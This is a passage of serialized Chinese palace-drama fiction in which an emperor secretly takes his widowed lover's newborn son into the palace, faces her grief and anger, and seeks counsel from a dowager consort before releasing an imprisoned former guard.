薛嘉言再也忍不住,积压的悲愤、委屈、恐惧和作为一个母亲最本能的伤痛,如同决堤的洪水,汹涌而出。她伏在床边,失声痛哭起来,肩膀剧烈地抖动,哭声撕心裂肺,仿佛要将五脏六腑都哭出来。 司雨见状,心都要碎了,连忙上前扶住她,自己也跟着泪流满面,哽咽着劝道:“主子……主子您别这样哭,仔细伤了身子……皇上……皇上他一定有苦衷的,肯定有办法解决的,您要珍重自己啊……” 薛嘉言哭得头痛,那瘦弱孩子的啼哭也一直未停,一声声,微弱而执着,敲打着她的心弦。 终于,薛嘉言缓缓止住了悲声,抬起头,脸上泪痕交错,眼睛肿得如同桃子。她看着那个还在抽噎的小小婴孩,心中百味杂陈。怨恨吗?是有的,这是取代了她阿满位置的孩子。可怜悯吗?同样有。他何其无辜,被当作工具换来,失去了自己的身份和生母的怀抱。 “罢了……”薛嘉言哑着嗓子,“不管他是谁,总是一条命,总不能……饿死在这里。司雨,去把他抱给奶娘,好好喂喂,仔细照看着。” 司雨连忙应了,小心地抱起那孩子,轻轻拍哄着,走了出去。 第198章 质问 这一整天,薛嘉言水米未进,只是呆呆地坐在床上,时而流泪,时而出神。拾英那边暂时没有回音,这漫长的等待每一刻都是煎熬。 夜幕再次降临,华灯初上。就在薛嘉言以为今夜不会有任何结果,心灰意冷之际,房门外,忽然传来一阵熟悉到令她心脏骤缩的脚步声。 那脚步声在门外停下,迟疑着,徘徊着,彳亍不前,仿佛门外的人正承受着巨大的心理斗争,没有勇气推开那扇门。 薛嘉言的心瞬间揪紧了,所有的悲伤、愤怒、质问在刹那间凝聚成一股尖锐的力量。她死死盯着那扇门,盯着门外那个模糊却深刻的身影,用尽全身力气,嘶哑地喝道: “进来!” 门外,姜玄的身影猛地一僵。静默了一会,那扇门终于被缓缓推开。姜玄走了进来,却垂着眼帘,目光始终落在地面上,不敢与床上薛嘉言那灼热如火焰、又冰冷如寒霜的眼神对视。 他一步步挪到床边,却没有像往常那样直接坐下或靠近,只是站在一步开外的地方,像是个犯了错、不知所措的孩子。 薛嘉言看着他这副样子,心中更是痛极恨极。她强忍着夺眶而出的泪水,咬着牙,每一个字都像是从牙缝里挤出来,带着血淋淋的质问: “为什么……要把我的阿满带走?” 姜玄终于缓缓在床边的绣墩上坐下,却依旧低着头,双手紧握成拳放在膝上,指节泛白。沉默了好一会儿,他才极低、极哑地开口,第一句便是: “言言……对不起。” 这句道歉在此刻显得如此苍白无力。薛嘉言别过脸,泪水顺着脸颊无声滑落。 姜玄深吸一口气,仿佛鼓足了勇气,才继续解释道:“言言,他是你的孩子,可也是我的孩子,他怎么可能、怎么可以顶着‘戚少亭遗腹子’的名头长大?你想想,若有一日他长大了,懂事了,知道自己本应是尊贵的皇长子,却因为出身被隐瞒而屈居人下,……他会怎么想?他会恨我们,恨我这个父皇,恨这个安排。” 薛嘉言的肩膀微微颤抖。她不是没想过这一层,可她总想着,或许有别的办法,或许可以慢慢筹划,而不是这样猝不及防、蛮横地将孩子从她怀里夺走! “可他还那么小……才刚满月!”薛嘉言回过头,泪眼模糊地看着他,声音里带着崩溃的哀求,“你就不能……不能让我把他养大一些,哪怕……哪怕养到三五岁,懂点事了再……再想办法吗?为什么非要现在?为什么这么急?!” 姜玄的脸上露出为难,他抬起头,终于看向薛嘉言,眼神里满是痛楚:“言言,你不明白……宫里不比外面,一步行差踏错,便是万丈深渊。孩子的身世,不能有丝毫差池,更不能留下任何可供人质疑、攻击的把柄。你不知道,这次康王作乱,他用来攻击我、质疑我血统的其中一点,便是抓住我母妃怀我的时间线略有模糊大做文章。我母妃是堂堂正正的宫妃,一直在宫中起居,尚且有此一劫,被人捕风捉影、恶意揣测。更何况阿满……他是出生在宫外,这其中的风险,你想过吗?” 他顿了顿,声音更沉:“而且,阿满背上那蛇形胎记,太过特殊,这是无法被替代、也无法被隐瞒的特征。我必须尽快把他带进宫,让他从婴儿时期就在宫中生活、长大,让所有人都习惯他的存在,将他的‘出身’与皇宫牢牢绑定,我这是在为他扫清未来的障碍啊!” 薛嘉言听着他的解释,每一个理由都听起来那么“充分”,那么“必要”,都是为了孩子“好”。可是……她的心为什么还是这么痛?痛得快要裂开? “你让我为孩子想……你处处都在为孩子想……”薛嘉言的眼泪大颗大颗滚落,声音沙哑破碎,“可你为我想过吗?姜玄,我只是一个母亲,一个刚刚拼死生下孩子、刚刚出月子的母亲!我想亲手抚养自己的孩子,看着他一天天长大,听他叫我娘亲……这有错吗?” “言言,对不起……对不起……”姜玄再也忍不住,伸出手紧紧握住她冰凉颤抖的手,喃喃重复着,除了道歉,他仿佛说不出别的。 薛嘉言却猛地抽回手,仿佛他的触碰都成了一种伤害。她红着眼睛,泪流满面地看着他,问出了那个最诛心的问题: “所以……在陛下眼里,是我不配进宫,对吗?只有我的孩子,身上流着你的血,他配得上那九重宫阙。而我,这个生了他、养了他一个月的母亲,就活该被留在宫外,活该忍受这骨肉分离之痛,是吗?!哪怕一个寻常宫女,也比我配做他的母亲,是吗?” “不是!言言,绝对不是!”姜玄急切地否认,“我心里有你,从来都有!不是你配不上,是眼下……眼下真的不是合适的时机!那会将你和孩子都置于更危险的境地!我需要时间,言言,你再给我一点时间……” 薛嘉言凄然一笑,眼前这个她爱过、依赖过的男人,此刻却觉得无比陌生。无论他有多少苦衷,多少不得已,在她看来,都抵不上让她骨肉分离的痛。 “你就那么狠心地把他抱走了,甚至没有跟我商量一下,他是我的孩子啊!你与你的父亲有什么区别呢?你父亲看上谁就要抢回去,不管别人愿不愿意就强要。你当初也不过是贪我的颜色,我生了孩子,你也不管我愿不愿意就抱走,你们是一样的强盗!” 姜玄听到薛嘉言把他同先帝相比,脸色也不由难看,他想着薛嘉言现在正是难受的时候,说话定然口不择言,便没有作声,由着她骂。 薛嘉言见他不出言反驳,心里更是窝火,她只觉得无比憋屈,说出了更伤人的话。 “所以,你这些天流水似地往我这里送东西,是要跟我买这个孩子?银货两讫?” 第199章 满月 一个“银货两讫”将姜玄的心意与付出,践踏得一文不值,姜玄呼吸一滞,像是被人当胸狠狠捶了一拳,难以置信地看着她,眸中翻涌着剧烈的痛楚与被刺伤的震怒。 “言言!你知道你在说什么?!”” 薛嘉言却仿佛看不见他的暴怒,或者说,她正渴望激怒他,仿佛只有他的痛苦才能稍稍抵消她万分之一的心碎。 她往前逼近一步,泪水涟涟,眼神却亮得吓人,像燃烧着火。 “我说错了吗,陛下?”她甚至刻意加重了“陛下”这两个字,充满讽刺,“您不是天下之主吗?那您告诉我,一个连自己心爱女人和亲生骨肉都护不住、都要用这种偷鸡摸狗的方式才能保全的皇帝,算什么天下之主?!说到底,不就是你无能吗?!” “薛、嘉、言!”姜玄终于被彻底激怒了。一句“无能”,如同烧红的烙铁,狠狠烫在他的尊严上。他额角青筋暴跳,周身散发出令人窒息的低气压,双目赤红,隐隐泛着水光,死死盯着薛嘉言。 门外,张鸿宝和拾英一直守在门外,两人提心吊胆的听着里面的动静,一开始还好,后来听到薛嘉言吼了一声“无能”,张鸿宝的脸都吓白了,抓着拾英的胳膊,低声说道:“哎呦,这个怎么得了!” 拾英亦是心惊肉跳,她想的是姜玄毕竟是个男人,万一被惹恼了,对薛嘉言动手可怎么办。 就在两人急得团团转时,门忽然被打开了,姜玄走了出来,他脸上木然,看不出什么情绪,只低声吩咐了一句:“回宫。” 门内,薛嘉言仍旧背对着门站着,听到脚步声越来越远,最后消失不见,她终于压抑不住,扑到床上,将脸埋进锦被中,发出呜咽。 拾英见皇帝盛怒离去,她连忙推门进来,看到薛嘉言趴在床上哭,拾英的心像被狠狠拧了一把。 她快步上前,蹲在床边上,未语泪先流。 “主子……”拾英的声音哽咽,“您……您别再这样折磨自己了,您才刚出月子,要顾着点自己……” “出去。” 薛嘉言猛地坐起来,看着拾英的目光冰冷。 “主子……” “我让你出去!”薛嘉言眼中布满了猩红的血丝,胸口起伏着,怒吼道:“滚出去!你也不过是他的帮凶!” 拾英被她眼中陌生的厉色骇得心头一痛,嘴唇哆嗦着,终究没敢再言。她心中亦有愧,这件事她的确早就知道,可没办法说出来。 她确实是姜玄派来的,可这些时日的相伴,她对薛嘉言的敬重与心疼,却半分不假。拾英知道薛嘉言这是伤心之下才说的话,她轻手轻脚地退了出去,仔细掩好了房门。 薛嘉言坐在那里,一动不动,脑中一片轰鸣,只觉得天旋地转。 夜一点点沉下去,窗外的月光渐渐爬上床头,清冷得晃眼。薛嘉言想起拾英方才哭红的眼睛,想起这些日子以来,拾英对她的照料——她伤心失落时拾英温声软语的劝解,她生产时拾英紧张得脸色发白,她抱着孩子笑时,拾英比她还要高兴…… 心口像是被什么东西揪了一下,酸胀得厉害。 她不该迁怒拾英,拾英不过也是个身不由己的人。 薛嘉言缓缓起身,披了件外衣,走到门边,轻轻拉开了门。 廊下的灯笼泛着暖黄的光,拾英还站在门口,听见动静她转脸,月光下她一双眼睛仍旧泛着泪光。 薛嘉言的喉咙发紧,声音低哑地开口:“拾英……” 拾英赶紧上前,低低应了一声:“主子……” 薛嘉言看着她红肿的眼睛,心头的愧疚翻涌上来,声音里带着歉意:“对不起……我不该那么说你。我只是……太难受了,乱了方寸。” 拾英看着她憔悴的模样,哽咽着道:“主子……婢子知道您苦……真的知道……你说什么我都不会怪你的,我本就有错……” 薛嘉言伸手抱住她,主仆二人紧紧相拥在清冷的月光下,低低抽泣着。 长宜宫内正举办皇长子的满月之喜,宗室亲贵、二三品以上重臣的家眷,皆得了恩旨入宫庆贺,殿内一派喜庆热闹。 太后这段时间一直抱病,今日也强撑着出席了。她穿着一身暗红宫装,脸上敷了粉,仍掩不住眉宇间的倦色与苍白,坐在凤椅上,偶尔与命妇们说上两句。 皇长子被奶娘抱出来与众人相见,他穿着朱红遍地金百福小夏衣,衬得那张小脸愈发玉雪可爱。他刚刚吃饱,不哭不闹,砸吧着小嘴十分可爱。 奶娘把他放在摇篮里仍众人打量,因天气热,孩子穿着的夏衣轻薄,众人很快便发现那孩子背上靠近肩胛处,一片淡红色的、蜿蜒如蛇形的胎记。 “呀,这胎记生得……真是奇特!”一位老郡王妃低声惊叹。 “那是,天家贵胄,果然不凡。”另一位国公夫人立刻接口道。 众人附和着,啧啧称奇,都说此乃大吉之兆。 坐于御座之上的姜玄,脸上始终带着些沉郁,看似并不十分高兴。 众人察言观色,心下便有了计较。想来是皇子生母柳美人福薄,难产而亡,陛下心中惋惜伤怀,这才在爱子满月的大喜日子,也难展欢颜。 这般“情深义重”,反倒更显帝王难得。于是,上前贺喜的言辞中,便又多了几分对“柳美人”的惋惜与对陛下保重龙体的劝慰。 姜玄对这样的解读不置可否,只微微颔首,并不多言。待到宴席过半,他当众宣布了皇子的名讳,并由宗人府记档。 “皇长子之名,取‘桓’字。” 在场立刻有人会意,这是取自‘天命匪解,桓桓武王。保有厥士,于以四方,克定厥家。’” 紧接着便是更热烈的恭维。 “‘桓桓武王’,陛下以此典为皇子命名,这是期望皇子承天命,具武德,安邦定国,克定家业啊!真真是好名字!” 众人再看那襁褓中懵懂无知的小皇子,眼神已然不同。 太后在席上听着,眼神却愈发幽深,望了一眼御座上神色莫辨的皇帝,又垂下眼帘,掩去所有情绪。 满月宴在一种表面热闹、内里却各怀思量的气氛中散了。宗亲命妇们恭敬退去,殿内渐渐空旷。 第200章 养娃不易 沁芳搀扶着太后离开长宜宫,往长乐宫回转。走出一段距离,沁芳觑着太后的脸色,低声叹道:“陛下今日……瞧着心里头还是不大痛快。也是,柳美人毕竟没了,好歹是第一个伺候皇上的女人……” “别说了。”太后淡淡打断了她,声音里听不出什么情绪。 沁芳立刻噤声,知道自己多嘴了。她偷眼看太后,只见太后望着前方长长的宫道,似乎并没有生气,可也不见欢喜,沁芳有些摸不着头脑。过了好一会儿,久到沁芳以为太后不会再开口时,却听她忽然道: “回宫后,去御膳房说一声。本宫忽然想吃蟹粉狮子头,清炖鸡孚,再要一碟桂花糖藕。” 一股酸楚和欣喜涌上心头沁芳心头,她忙不迭应了。 自从康王之事后,太后一直恹恹的,胃口极差,人也憔悴下去,无论御膳房变着法子做什么,她都只是略动几筷便摆手撤下。今日,主子竟主动点了菜,还是她从前颇为喜欢的几道! “是!婢子这就去!让他们仔细做,拣最新鲜的食材!” 沁芳满心欢喜,主子终于又振作起来了。 长宜宫的夜,因着东配殿多了一位小主子,再不似从前那般清冷。夜半时分,又传来一阵急促而嘹亮的婴儿啼哭,瞬间惊醒了本就浅眠的姜玄。 他几乎是立刻就翻身下榻,仅着中衣便疾步冲向东配殿。 “怎么回事?!”姜玄的声音微哑,带着焦灼,目光锐利地扫向手足无措的奶娘和几个同样慌了神的宫人。 奶娘抱着哭得小脸通红、手脚乱蹬的婴儿,急得额上冒汗:“回、回陛下,奴也不知……大殿下喂饱了,方才也刚换过干爽的尿布,身上也仔细查看了,并无红疹或不适之处,可……可就是哭个不停,怎么哄都哄不住。” 孩子哭得撕心裂肺,嗓音洪亮,仿佛受了天大的委屈,小拳头攥得紧紧的,眼泪糊了满脸。 姜玄看得心都揪紧了,伸手从奶娘怀里把孩子抱过来,谁知他哭得更凶了,姜玄头一次觉得养孩子比处理朝政还难。 “快!传太医!”他厉声吩咐,焦躁地抱着孩子在殿内踱步,目光一刻也离不开那啼哭不止的小小人儿。 值守的太医提着药箱跑来,气息未匀便上前仔细诊察。望闻问切,反复查看,折腾了好半晌,太医额上也见了汗,最终只能躬身回禀:“陛下,微臣……微臣仔细查验,大殿下脉象平稳,气息虽急乃因啼哭所致,体温正常,腹部柔软,口鼻眼耳皆无异状。依微臣看,殿下身体应无大碍。” “无大碍?”姜玄的声音陡然拔高,带着怒气,“那他为何哭成这样?!” 太医伏地,汗出如浆:“微臣……微臣愚钝。或许是小儿神气未定,偶有惊啼?或……或是……”他搜肠刮肚,却实在说不出个所以然。宫里长大的孩子,尤其是这般金尊玉贵的皇子,有一点不适都万分仔细,这般查不出原因的嚎哭,确实令人心焦。 姜玄烦躁地挥手让太医退到一旁。孩子的哭声已不如最初洪亮,却更显得可怜,小身子一抽一抽地,眼泪鼻涕混在一起,奶娘怎么颠哄拍抚都无济于事。 姜玄自言自语道:“他是不是……想娘亲了?看不见,所以哭了?” 奶娘闻言,愣了一下,觑着皇帝脸色,小心翼翼地斟酌道:“回陛下,大殿下这时候眼睛还看不太真切呢。不过……小孩子的鼻子灵,认人认地方,多半是靠气味儿。许是换了地方,闻不到熟悉的、亲近的味道,心里头不安生,这才哭闹不休?” 闻不到熟悉的味道…… 姜玄身形微微一震,是了,孩子自出生便养在薛嘉言身边,闻惯了母亲身上的气息,那是混合了奶香、温暖体息,独属于薛嘉言的味道,连他都十分贪恋,更何况这小小孩童。 他如今骤然来到这陌生恢宏的宫殿,周遭尽是陌生的味道,怎会不想要母亲呢? 这认知像一把钝刀子,狠狠割在姜玄心上。孩子尚且如此,那被生生夺走骨肉的母亲呢?薛嘉言此刻在做什么?是否也正对着空荡荡的摇篮,肝肠寸断,夜不能寐? 巨大的愧疚和心痛排山倒海般袭来,姜玄闭了闭眼,再睁开时,眼底已是一片赤红。他哑着嗓子,对垂手侍立的张鸿宝道:“去…找拾英,悄悄拿一件言言常穿的、贴身的衣裳来。要快!” 张鸿宝立刻躬身退下,安排甘松赶紧去拿。 等待的时间格外漫长,孩子似乎是哭累了,不再是嚎啕大哭,变成了断续的、沙哑的抽泣。越是这样,姜玄越是心疼。 月影西斜,甘松终于跑着回来,怀里紧紧揣着一个布包。 姜玄接过,里面是一件月白色的素绫寝衣,洗得有些发软了,散发着熟悉的属于薛嘉言的温软气息。 他将这件寝衣裹在孩子身侧,小心地避开口鼻。 奇迹般地,原本还在细微抽噎的孩子,小鼻子无意识地翕动了几下,皱紧的小眉头渐渐松开,往那寝衣的方向无意识地蹭了蹭,抽泣声越来越低,越来越缓,呼吸也逐渐变得均匀悠长……竟真的慢慢睡沉了过去。 暖阁内,所有人都屏住了呼吸,看着这令人心酸又神奇的一幕 姜玄看着终于安睡的孩子,目光落在那件月白寝衣上,久久不动。 孩子找到了慰藉,可以安然入睡。可他带给那个女子的伤痛,又该用什么来慰藉?她此刻是否正对着孤灯,泪湿枕衾?想到那晚她决绝的眼神、诛心的言语,姜玄的心口便一阵窒闷的疼痛。 是,她的话难听,刺伤了他作为帝王和男人的尊严。可扪心自问,她又说错了多少?他确有无奈,确有谋划,但带给她的伤害,实实在在,锥心刺骨。 眼下,她正在气头上,恨他入骨。而他,一方面被那晚的话语刺伤,拉不下脸面;另一方面,更深知此刻出现在她面前,都是对她的伤害。 他该怎么办? 他需要透口气,需要一个人,一个能理解这深宫扭曲与无奈、又不会以世俗礼法或朝堂利益来评判他的人,让他可以敞开心扉说说话。 第二日,姜玄以“为生母柳美人祈福”的名义,带着阿满轻车简从出了宫。到了青云观,姜玄上了香,捐了香油,略作停留,便悄然从后山小径折下,去了山脚幽静的枫林苑。 第201章 太妃的劝解 甄太妃看到姜玄怀中抱着的阿满时,脸上便浮上惊喜的笑。 “快给我瞧瞧!” 她伸出手接过孩子抱在怀里,低头仔细端详着怀中婴儿的眉眼,手指极轻地拂过那饱满的额头、挺秀的小鼻梁,半晌,才抬头看向姜玄,眼中满是怀念与感慨:“像,真像……这眉眼,这下巴,跟你刚出生时,简直是一个模子刻出来的。尤其是睡着时这抿着嘴的样子……” 姜玄问道:“真的一样吗?” 甄太妃瞥了他一眼,笑着道:“你是我看着生下来的,从那么小一点,长到如今这般模样的。你说我知不知道?”她复又低头,慈爱地看着孩子,“这孩子,生得真好。是个有福气的模样。” 她抱着孩子亲昵了一会,回头瞧瞧安静坐着的姜玄,细心捕捉到了他眉宇间挥之不去的沉郁。 甄太妃便将还在熟睡的孩子交给奶娘带去内室安置,她在姜玄对面坐下,烹了一壶清茶。茶烟袅袅中,她缓缓开口:“说吧,心里揣着什么事?连看着孩子都不能让你真正开怀。” 面对甄太妃那双洞悉而包容的眼睛,姜玄那些无法对其他人言明的的纠结与痛苦,终于找到了一个倾泻的出口。 他略去朝堂利害与具体谋划,从薛嘉言的身份说起,说到孩子的未来,自己的两难,以及那迫不得已的“换子”之举。 甄太妃静静地听着,初时神色尚算平和,待听到他竟用另一个孩子换走了薛嘉言亲生骨肉,脸色便渐渐沉了下来,眉头紧紧蹙起。待他说完,她将茶杯轻轻搁在石桌上,发出“嗒”的一声轻响。 “糊涂。”她的声音不高,却带着罕见的严厉与不赞同,目光直视姜玄,“栖真,你办了件糊涂事。” 姜玄心下一紧,垂了眼。 “我知你有你的难处,皇家的体面,孩子的安危,将来的隐患……这些我都懂。”甄太妃的语气缓了缓,却依旧坚定,“可你既与她有了夫妻之实,又让她为你诞下子嗣,这便是你的责任。她纵是寡妇,纵在守孝,纵有千般不合礼法,这责任你已扛在肩上,便该担到底!哪怕被言官指着鼻子骂,被史书记上一笔‘失德’,那也是你该承受的代价。怎可用这般暗度陈仓、伤人至深的方式,让她母子分离?你让一个母亲如何自处?那锥心之痛,岂是你这些‘周全考量’能弥补万一的?” 姜玄被她的话语刺得面色发白,喉头发干。他何尝不知这是下下之策,是剜肉补疮?可……他深吸一口气,终于将最深的一层顾虑,以极为隐晦的方式吐露出来。 “太妃教训的是……是我虑事不周。”他斟酌着词句,声音低哑,“只是宫中情形复杂,非止前朝议论。只是……近来一两年,太后对我过于关切,有时会深夜独自驾临长宜宫,说是关心我的身体,也会屡屡问及我是否临幸宫人之类,再多的,我也不想说,怕污了您的耳朵。后宫之地,终是太后执掌。若薛氏骤然入宫,儿臣怕自己未必能时时护得周全,一招不慎,恐成终身之憾。” 他顿了顿,看向内室方向,那里睡着他的孩子:“如今这般……阿满的生母,只是位份不高、又已故去的柳美人。他只是一个失去生母、需要怜惜的皇子。或许反而安全些。” 甄太妃听罢,震惊得半晌没有言语。半晌她才轻轻叹了一口气。 “原来是因为这个。她也是个可怜的女人。” 甄太妃的目光仿佛穿透了时光,回到那座金碧辉煌又冰冷彻骨的宫殿:“十七八岁,最好的年纪,被送进宫里,陪伴的却是一个年岁足可做她父亲、且性情阴晴不定的君王。深宫寂寥,接触最多的、年岁相当又出色的男子,除你之外,还有谁呢?” 她看向姜玄,目光悲悯,“你年少英俊,聪慧沉稳,又与她有母子名分,日常相处……她若对你生出些旁的心思,说来……也是人之常情。” 姜玄没想到,甄太妃听后得出的,竟是这样一个结论!他心中一时五味杂陈。 是了,这便是甄太妃。她能从先帝的强取豪夺中守住本心,能在冷宫的荒芜里自得其乐,她早已跳脱了世俗礼教最僵硬的桎梏,以“人”本身去看待这宫墙里的悲欢离合。 姜玄苦笑着,叹道:“太妃,您说我该怎么办?左也不是,右也不是,仿佛怎么做都是错。” 甄太妃看向眼前这个深陷情义两难的青年帝王,眼中闪过一丝疼惜。她沉吟片刻,缓缓道: “你也的确为难。薛丫头那孩子,我虽只见了一面,却也能看出几分心性。她父母膝下只她一个,自幼娇养,家世也算富足安稳,没经历过什么风雨,更不懂宫廷里的尔虞我诈,人心算计。她那份聪明,是玲珑剔透,是做生意看账本的聪明,不是在这种地方求生存、谋上位的聪明。” 她顿了顿,语气更沉:“太后不同。宋家是何等门第?累世勋贵,枝繁叶茂,光是嫡系就有数百口人,牵一发而动全身。她自小被当作高门主母培养,在那样的大家族里长起来,心眼、手段、耐性,一样都不少。薛丫头若此时贸然进宫,身份尴尬,无依无靠,在太后手底下……恐怕一个来回都走不了,便会被啃得骨头都不剩。” 姜玄重重地点头,这正是他最深沉的恐惧:“我正是担心这个,才不得已行此下策。我想着,再等一等,总要先把后患解决了,才好把她接到身边来。” 第202章 解惑 “你的顾虑没错。” 甄太妃肯定了这一点,但眉头并未舒展,“可难就难在,太后于你,毕竟有抚育扶持之恩,名义上是你的嫡母。你若手段太过强硬,与她正面冲突,莫说母子情分难存,便是朝野上下,你的名声也要受损。刻薄寡恩的帽子扣下来,于你大大不利。此事……急不得,需得徐徐图之,既要保全薛丫头母子,也不能与太后彻底撕破脸,伤了朝廷体面和你自己的根基。” 她思忖着,眼中有了决断:“这样吧,过两日,我去瞧瞧薛丫头。她如今正在气头上,又失了孩子,心里不知苦成什么样。你去了,只怕火上浇油。我且去劝劝她,让她明白你的难处,也开解开解她,总这么郁结于心,身子如何吃得消?” 姜玄闻言,眼中倏地亮起一抹光,紧绷的肩膀也松懈了些许。他立刻起身,对着甄太妃深深一揖,言辞恳切:“多谢太妃!有您出面,再好不过了。只是要劳您奔波……” 甄太妃摆摆手,示意他不必多礼。这时阿满醒了,奶娘把他抱过来,甄太妃接到怀里,看着小小的一团,眼中满是慈爱,几乎舍不得移开目光。 姜玄顺着她的目光看去,看着儿子眨巴着眼睛的可爱模样,心中也不由自主地柔软下来。这几日,这孩子几乎占据了他全部的心神,连昨日上朝议事时,他都罕见地走了神。 这思绪却像一根引线,倏地勾起了另一件沉在他心底另一件事——太庙祭祀那日,那个被康王姜昀推出来、声称是他生父的侍卫——陆文昭。 他脸上的柔和渐渐褪去,代之以一层凝重,低声问道:“太妃,您可还记得,从前宫中有一个叫陆文昭的侍卫?” 甄太妃正逗弄着孩子的小手,闻言,动作微微一顿,点头道:“陆文昭?记得。个子挺高,模样也周正,人有股子书卷气,不像寻常武夫。他有一阵子,就是冷宫附近当值,后来护驾死了。” 姜玄喉结滚动了一下,声音愈发低沉:“他没死。上回祭祀先帝时,康王把他弄来了,当着宗亲百官的面,指认他……是我的生父。” 甄太妃愕然抬头,眼中尽是诧异:“竟有此事?他……他也学我一般,假死逃生了?” “那倒不是。”姜玄摇头,将苗菁调查来的结果缓缓道出,“据查,此人生来异于常人,心长得偏了一些。当年他中剑后,太医诊断无救,家人按例报丧下葬。谁知遇到连日暴雨,新坟土松,被雨水冲垮了棺木。他竟在棺中苏醒,挣扎出来……就此隐姓埋名,流落民间。” 甄太妃听得怔然,半晌才叹道:“这……倒也是一番奇遇,可谓命不该绝。”她看向姜玄,“傻孩子,你问我这个,不会心里也存了疑,被康王那日的把戏唬住了吧?” 姜玄垂下眼帘,低声道:“他的确……与我眉宇间,有几分说不出的相似。他又确与母妃旧日相识……种种巧合,由不得人不多想。” “你看,”甄太妃轻轻叹息,“康王这诛心之计,不就奏效了吗?” 甄太妃摇头道:“栖真,这世上长相英俊的男子,在某些特征上,本就容易有相似之处。你与那陆文昭,大抵都属于眉目清朗、鼻梁高挺这一类的长相,乍看有那么一两分像,有何稀奇?若真想找,我甚至能让人在民间寻到与你八九成相似的男子。” 甄太妃又道:“再者,你或许不知,当年你母妃与那陆文昭之间那一点若有若无的情愫,最初便是因旁人多嘴,打趣他们二人站在一起颇有‘夫妻相’,这才让你母妃多注意了他几分,少女心思萌动,生了些心思。所以啊,你容貌中某些地方与他略似,追溯根源,其实不过是像你母妃。” 甄太妃语气无比肯定,一字一句道:“我与你母妃,在冷宫那些年,一直关在一处,我可以向你保证,你母妃和陆文昭之间,发乎情,止乎礼,绝对是清白的。你是先帝的血脉,是名正言顺的皇子。” 说到此处,她眼中掠过一丝悲悯,叹息了一声,“若不然……你以为,你母妃为何对你如此冷淡疏离?她恨先帝,恨到迁怒于你,不肯亲近你。” 这番话,如同醍醐灌顶,将姜玄心中那块自太庙之日后便一直沉甸甸压着的巨石,悄然移开了。 他长长地地舒了一口气,对着甄太妃,再次深深一揖,“多谢太妃……为我解惑。” 从枫林苑回宫的路上,车驾行至岔路口,姜玄沉吟片刻,对张鸿宝道:“你带人,将阿满稳妥送回长宜宫。朕要去北镇抚司,派人提前去安排好。” 诏狱深处,最里间一间特意清理过的囚室,虽无窗,却还算干净,没有其他牢房那股浓重的血腥与腐朽气。 陆文昭穿着干净的灰色囚衣,正盘腿坐在简陋的木板床上,闭目养神。 近三个月的囚禁,锦衣卫只是关着他,未曾上刑,每日饮食虽简单却也按时供应。他竟也安之若素,除了略微清减些,神态间甚至有种奇异的闲适,仿佛这不是诏狱,而是某处隐居的山洞。 铁门被打开的声音惊动了他。陆文昭缓缓睁开眼,看到了姜玄。 陆文昭的眼眸中,倏地亮起一点光彩,但很快垂眸掩饰了。他并未起身行礼,依旧保持着盘坐的姿势,待到姜玄在他面前站定,他才微微仰起脸,唇角牵起一个淡淡的笑容,声音不高,带着沙哑: “你来了。”他顿了顿,目光细细描摹着姜玄的眉眼轮廓,低声道,“你……像你娘。尤其是这眉眼,真像。” 这话若在太庙事发时说出,足以掀起惊涛骇浪,刺痛姜玄最敏感的神经。但此刻,在甄太妃那番开解之后,在姜玄自己心中疑云渐散之时,听来却少了那份惊心动魄的指控意味,反倒像一句纯粹怀念的感叹。 姜玄没有接这个关于相貌的话头,目光锐利地审视着眼前这个与自己有着微妙关联的男人,开门见山问道:“你为什么帮我?” 第203章 宁儿 “你为什么帮我?” 陆文昭闻言,脸上那点淡笑扩大了些,却透出几分桀骜与不屑。他挪动了一下坐姿,让自己靠墙更舒服些,语气懒洋洋道: “我好好地在深山老林里做我的猎户,天大地大,自由自在。他非得把我揪出来,关起来,威逼利诱,要我做那把刺向你的刀。” 他嗤笑一声,“我活了这大半辈子,最恨的就是被人当棋子摆布。顺着他的意思去做了,那有什么意思?还不如死了痛快。” 这番话,坦荡甚至带着点粗野的江湖气,毫不掩饰对康王的厌恶和对自身意志的坚持。没有家国大义,没有血脉亲情,仅仅是“不愿被操控”。这种理由,反倒让姜玄心中那根紧绷的弦松了一松。 他沉默片刻,又问:“当年你死里逃生,既然活下来了,以你的本事,为何不回宫里,继续做你的侍卫,却要隐姓埋名做个猎户?” 陆文昭的眼神恍惚了一瞬,像是被这个问题带回了遥远的过去。但很快,那点恍惚就被一种近乎玩世不恭的淡漠取代。他扯了扯嘴角: “回去?回去做什么?皇帝佬儿以为我死了,给我家里封赏了不少金银田宅,我这条命,也算没白‘死’一回,算是报答了家里生养之恩。” 他语气平淡:“至于往后……余生漫漫,我只想按自己的心意,自在逍遥地活。宫里那四方天,规矩比树上的叶子还多,哪有深山打猎、溪边喝酒来得痛快?” 他没有说出口的是,那时他心中的绝望与愤懑几乎将他吞噬。他若回去,每日看着宫墙里那个被迫属于别人的女子,他怕自己会疯,会做出不可挽回的蠢事,最终不仅自己性命不保,更会将她彻底拖入万劫不复的深渊。不如就此“死去”,让一切尘归尘,土归土,对她,对自己,或许都是最好的结局。 姜玄看着他平静无波甚至带着点惫懒的神情,心中最后一点疑虑和戒备,也渐渐消散了。这个人,或许真的只是阴差阳错被卷入风波,本身并无太大的威胁或复杂的图谋。 他深吸一口气,问出了最后一个问题:“那你现在,想要什么?” 陆文昭似乎早就等着他这一问,几乎没有犹豫,清晰而平静地回答:“我只想回去。回到我来的地方,继续做我的猎户,靳六七。” 姜玄定定地看了他片刻,点了点头,声音不高,却带着金口玉言的份量:“朕准了。” 他没有再多说一个字,转身,步履沉稳地走向牢门。 陆文昭依旧保持着那个靠墙坐着的姿势,没有动,也没有出声挽留或道谢。只是目光紧紧追随着那个越来越远的、挺拔而陌生的背影,眸中那强装的平静淡然,如同冰面碎裂,渐渐泛起难以抑制的粼粼水光。 他微微翘着唇角,像是在笑,又像是哭。他就这样,目送着那个拥有着他最爱女子血脉的年轻人,一步步离去,走向属于他的、光芒万丈却也孤寂重重的帝王之路。 自从阿满被换走后,薛嘉言整个人肉眼可见地萎顿下去,常常是呆呆地坐在窗前,一坐就是大半日,目光空洞地望着庭院里繁茂的花木。饭菜送上来,往往是略动几筷便让人撤下,她迅速地清减下来,原本产后丰润的脸颊瘦下去,衬得那双总是含情或带笑的杏眼,愈发大而失神,里面盛满了化不开的哀恸。 对于那个被换来的孩子,她的感情复杂。有时,她会不由自主地走到摇篮边,看着那张小脸蛋,心头一阵刺痛,眼泪便毫无征兆地滚落下来;有时,她又会近乎冷漠地别开脸,不愿多看,仿佛多看一眼,都是对阿满的背叛。 